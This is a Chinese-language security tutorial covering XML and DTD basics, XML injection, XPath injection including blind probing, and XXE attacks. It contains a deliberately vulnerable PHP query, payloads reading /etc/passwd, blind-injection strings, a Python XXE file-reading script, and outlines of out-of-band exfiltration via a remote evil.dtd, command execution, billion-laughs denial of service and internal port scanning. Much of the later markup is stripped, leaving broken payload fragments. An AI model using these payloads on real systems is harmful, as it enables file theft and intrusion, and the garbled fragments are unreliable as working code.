Xpath注入和XXE漏洞

XXE漏洞

XML文件

XML是可扩展标记语言,是用来传输数据和存储数据

XML基本格式

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ecoding="UTF-8" standalone="yes"?><!--xmL文件声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

中的version是版本号,而encoding是语言,而standalone是yes时表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接被忽略这一项

DTD

DTD是控制XML文档的格式规范,可以嵌入xmL文档中,作为内部声明,也可以单独的一个文件,为外部引用。

内部DTD和外部DTD

内部DTD
使用内部的dtd文件,即将约束规则定义在xmL文档中,格式:

1
<!DOCTYPE 根元素名称 [元素声明]

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

其中元素类型

1
2
3
4
5
6
7
8
9
PCDATA类型:被解析的字符串数据,即会被解析器解析的文本

CDATA类型:字符数据,即不会被解析器解析的文本

EMPTY类型:表示空元素

ANT类型:表示带有任何内容的元素

(子元素名称1,子元素名称2,......)类型:表示带有子元素(序列)的元素

外部DTD

  1. 引入外部的dtd文件

    1
    <!DOCTYPE 根元素名称 SYSTEM "dtd路径">
  2. 使用外部的dtd文件(网络上的dtd文件)

    1
    <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的url">
  3. 使用外部DTD时,通过如下语法引入:

    1
    <!DOCTYPE root-element SYSTEM "filename">

示例代码

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

实体引用

1
实体引用是当XML元素以形如<tag>foo</tag>的标签开始和结束,且元素的内部如果存在特殊的字符,会用实体引用来替换特殊字符,而实体引用可以起到宏定义和文件包含的效果

其中预定义的五个实体引用

1
2
3
4
5
6
7
8
9
”<“相当于”$lt“

”>“相当于”$gt“

”&“相当于”$amp“

”'“相当于”$apos“

”"“相当于”$quot“

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式,而实体引用是对实体的引用

实体按参数分类,分为一般实体和参数实体

一般实体

1
<!ENTITY 实体名称“实体内容">

引用一般实体方法为:&实体名称

参数实体

1
<!ENTITY %实体名称 "实体内容">

引用参数实体的方法为:%实体名称

按照实体使用类型分类,又分为内部声明实体和引用外部实体

内部实体

1
<!ENTITY 实体名称 “实体的值”>

示例代码

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>

外部实体
用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机

1
2
3
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

示例

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>

参数实体+外部实体

1
<!ENTITY % 实体名称 SYSTEM "URI/URL">

示例

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>

其中%file(参数实体)在DTD中被引用,而&file;是在xmL文档中被引用

DTD属性

属性声明语法

1
<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例

1
<!ATTLIST payment Luckey CDATA "Q">

XML实例

1
<payment Luckey="Q" />

XML注入

XML是传输数据和存储数据的,是利用闭合标签来改写XML文件来实现的

XML注入原理

1
XML是数据组织存储的数据结构方式,当用户输入数据时,由于输入的数据没有进行检测和过滤掉特殊字符,所以有可能会改变xmL的结构,插入新的功能,这样便会导致XML注入攻击

XML注入示例

XML注入条件

1
2
3
1. 用户能够控制数据的输入

2. 程序有拼凑的数据

test.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>

</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>

当我们可以掌握password字段时,我们可以输入:

1
root</password></admin><admin id="3"><name>hack</name><password>hacker

可以对xml原来结构进行更改,加多了一个hack的用户和密码

修改后的xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>

如果要想XML注入,需要知道

1
2
1. 闭合标签
2. 获取XML表的结构

Xpath注入

Xpath注入攻击是利用Xpath解析器的松散输入和容错特性,能够在url、表单或其它信息上附带恶意的Xpath查询代码,以获取权限信息的访问并更改这些信息,它可以探究使用的XML时如何构造的

Xpath注入攻击的原理和利用

Xpath注入攻击是通过构建特殊输入来作为参数传入到web应用程序中,并通过执行Xpath查询来获取想要的数据,而注入的对象是xmL文件,注入出现位置为

1
cookie、headers、request parameters/input

Xpath是XML路径语言,用于配置文件的查找,数据库就是XML文件,我们是利用Xpath语法的web应用程序没有对输入的Xpath查询做严格的处理,致使存在Xpath注入漏洞

Xpath直接注入

搭建环境
test2.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>

用于接收参数并进行XML查询的php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml=simplexml_load_file('test2.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
?>

simplexml_load_file()

````
返回类SimpleXMLElement的一个对象,该对象的属性包含XML文档的数据

1
Xpath查询语句为

/root/users/user[username/text()=’’and password/text()=’’]

1
攻击者可以利用逻辑漏洞,构造

?name=’or 1=1 ‘’=’&pwd=1

1
2
3
4
5
6
7
这样逻辑上会使查询一直为true,从而查到所有数据信息

#### Xpath盲注

盲注根节点

利用count(/*)判断根下节点

?name=’ or count(/*) = 1 or ‘1’ = ‘2

1
2
3
有返回证明存在一个根节点

利用subsring来分割根节点的每个字符

?name=’ or substring(name(/*[position() = 1]),1,1)=’r’ or ‘1’=’2

1
2
3
得到根节点为root

判断root下一级节点数

?name=’ or count(/root/*) = 1 or ‘1’ = ‘2

1
2
3
返回结果证明存在root下一个节点

猜解root下一级节点

?name=’ or substring(name(/root/*[position() = 1]),1,1)=’u’ or ‘1’=’2

1
2
3
4
5
6
7

## XML外部实体注入(XXE漏洞)

XXE漏洞发生在应用程序解析XML输入时,没有禁止对外部实体的加载,导致加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站及发起dos攻击

而xxe漏洞的触发点在于没有对上传xml文件进行过滤,导致可以上传恶意xml文件
注意:

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞

1
2
3
4
5


### xxe本地搭建

xxe.php
loadXML($xmlfile); $xml=simplexml_import_dom($dom); $xxe=$xml->xxe; $str="$xxe \n"; echo $str; ?>
1
其中函数的作用

file_get_contents——————————获取客户端输入内容

new DOMDocument()————————初始化XML解析器

loadXML($xmlfile)—————————-加载客户端输入的XML内容

simplexml_import_dom($dom)—————获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。

$xml->xxe————————————-获取SimpleXMLElement对象中的节点XXE,然后输出XXE内容

1
上传的xml文件

]>

&file;

1
2
3
4
5
6
7
8
9
其中&file;为qwzf.txt的内容

#### xxe常见利用

##### 读取任意文件

有回显

有xxe漏洞的文件
1
然后通过get提交上传xml文件,即构造payload

?xml=


]>

&file;

1
2
3
4
5
最好将xml转换为url格式,通过构造外部实体payload,在xml文件中&file;变为qwzf.txt文件内容

无回显

如果没有回显的话,可以先在远程服务器部署evil.dtd

“> %payload;

1
2

然后构造paload

%dtd;
%send;
]>

1
2
3
4
5
6
7

被攻击的服务器收到后会调用%data,致使调用外部的dtd文件,然后%file会被调用,变为qwzf.txt的内容,然后调用%send;将读到的数据返还给攻击服务器

##### 使用恶意脚本

环境搭建
xxe2.php
name; ?>
1
2

而后使用脚本

#!/usr/bin/python

-- coding:utf-8 --

import urllib2

if name == ‘main‘:

print u'输入要访问的地址,如http://127.0.0.1/xml/xxe2.php'
url = raw_input()
count=1
while count==1:
    print u'输入要读取的文件,如file:///etc/passwd'
    payload = raw_input()
    headers = {'Content-type': 'text/xml'}
    xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
    req = urllib2.Request(url = url,headers = headers, data = xml)
    res_data = urllib2.urlopen(req)
    res = res_data.read()
    print res
1
2
3
4

##### 执行系统命令

可以使用expect扩展在php环境里执行命令

]>

&xxe;

1
2

##### 拒绝服务攻击(dos)

]>
&lol9;

1
2
3
原理:因为lol要引用10次,而lol2有10个lol,所以要引用10的10次方次,以此类推,lol9要引用许多次,所以造成攻击

##### 探测内网端口

]>

&xxe;

1
2
3
4
5

报错,端口未开放;不报错,端口开放


##### 攻击内网网站

]>

&xxe;

```

详细请看:https://xz.aliyun.com/t/6887#toc-4
但是XML注入方面请看本文章,原文章有错